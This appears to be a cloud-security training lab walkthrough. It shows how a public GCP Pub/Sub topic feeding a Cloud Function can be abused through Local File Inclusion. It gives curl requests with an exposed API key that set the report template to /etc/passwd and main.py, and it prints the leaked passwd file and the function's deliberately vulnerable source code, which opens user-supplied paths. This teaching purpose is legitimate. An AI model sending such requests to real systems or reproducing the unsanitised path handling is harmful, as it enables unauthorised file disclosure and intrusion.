The Plan

```
- Identify public Pub/Sub topic
- Examine Pub/Sub message format
- Identify LFI vulnerability in Pub/Sub message format
- Gather Cloud Function source code through LFI over Pub/Sub
```

Anonymous Access in GCP

GCP allows administrators to make a resource public by granting some level of access to the allUsers group. Unlike other cloud platforms, GCP still requires a key even for anonymous access. However, this key is not considered secure. It is intended for use by production applications simply to identify the project they are accessing.

Pub/Sub

Pub/Sub is a message queuing service of GCP that essentially combines the AWS SNS and SQS services. It supports both publishing messages to whatever endpoint is desired and the idea of endpoints subscribing to it.

Web applications can use Pub/Sub to trigger Cloud Functions to execute asynchronous tasking.

The Attack

In this scenario, we have identified a web application that seems to use a publicly accessible Pub/Sub topic to publish report data to a Cloud Function. We are able to identify that the web application uses the following API key when publishing data.

```
AIzaSyB2T4BYbbwuq2G6ChtdZiAceMNtBG42goM
```

We are not aware of what occurs within the Cloud Function but we know that it is responsible for publishing a report to a public bucket. The Pub/Sub topic we are interested in is call public-test.

And the message structure being published looks like this:

```
{
"messages": [
  {
    "attributes": {
      "report-template": "report-format-A.txt",
      "report-name": "new-report.txt",

    },
    "data": "cmVwb3J0IHRleHQ="
  }
]
}
```

Once a message is published and processed, a report is generated and output to the public bucket at

```
https://storage.googleapis.com/gcf001-reports/
```

An example of this kind of request through curl would be (replace ### with your student number):

```
curl -H 'content-type: application/json' -X POST --data \
$'{"messages": [{"attributes":{"report-template":"report-format-A.txt","report-name": "new-report###a.txt"},"data":"cmVwb3J0IHRleHQ="}]}' \
https://pubsub.googleapis.com/v1/projects/gcptrainninggcf001/topics/public-test:publish?key=AIzaSyB2T4BYbbwuq2G6ChtdZiAceMNtBG42goM
```

(notice the contents of the report are Base64 encoded)

We can view the report by browsing to (replace ### with your student number):

```
https://storage.googleapis.com/gcf001-reports/new-report###a.txt
```

In the message published to the Pub/Sub topic, we can see that some kind of report template is specified and the text to include in that report is provided. We can begin to try to identify possible vulnerabilities by changing the report template value (replace ### with your student number).

```
curl -H 'content-type: application/json' -X POST --data \
$'{"messages": [{"attributes":{"report-template":"/etc/passwd","report-name": "new-report###b.txt"},"data":"cmVwb3J0IHRleHQ="}]}' \
https://pubsub.googleapis.com/v1/projects/gcptrainninggcf001/topics/public-test:publish?key=AIzaSyB2T4BYbbwuq2G6ChtdZiAceMNtBG42goM
```

As we can see, when we replace the report template value with /etc/passwd, the resulting report appears to use the /etc/passwd file as its template. We can view the report by browsing to (replace ### with your student number):

```
https://storage.googleapis.com/gcf001-reports/new-report###b.txt
```

The contents of the report:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:101:101::/run/uuidd:/usr/sbin/nologin
messagebus:x:102:103::/nonexistent:/usr/sbin/nologin
test
```

This appears to be a Local File Inclusion vulnerability where we are able to specify the files used by the Cloud Function and can include files that are local to the Cloud Function environment. As we recall from our previous work with Cloud Functions, the source code for a Cloud Function is located at /user_code/main.py. We can use our LFI vulnerability to disclose the source code of the Cloud Function even though we are not able to directly interact with the Cloud Function (replace ### with your student number).

```
curl -H 'content-type: application/json' -X POST --data \
$'{"messages": [{"attributes":{"report-template":"main.py","report-name": "new-report###c.txt"},"data":"cmVwb3J0IHRleHQ="}]}' \
https://pubsub.googleapis.com/v1/projects/gcptrainninggcf001/topics/public-test:publish?key=AIzaSyB2T4BYbbwuq2G6ChtdZiAceMNtBG42goM
```

We can view the report by browsing to (replace ### with your student number):

```
https://storage.googleapis.com/gcf001-reports/new-report###c.txt
```

And by viewing the public report, we can find the source code for the Cloud Function.

```
import base64
import os
from google.cloud import storage

def hello_pubsub(event, context):
    open('/tmp/debug.txt','w').write(str(event))
    storage_client = storage.Client()
    bucket = storage_client.bucket("gcf001-reports")
    blob = bucket.blob('debug.txt')

    blob.upload_from_filename('/tmp/debug.txt')

    print(event)
    reportContents = base64.b64decode(event['data']).decode('utf-8')
    reportTemplate = event['attributes']['report-template']
    reportName = event['attributes']['report-name']

    report = open(reportTemplate).read()
    report += reportContents

    print(report)

    open('/tmp/' + reportName, 'w').write(report)

    storage_client = storage.Client()
    bucket = storage_client.bucket("gcf001-reports")
    blob = bucket.blob(reportName)

    blob.upload_from_filename('/tmp/' +reportName)

    print(
        "File {} uploaded to {}.".format(
            '/tmp/' + reportName, reportName
        )
    )report text
```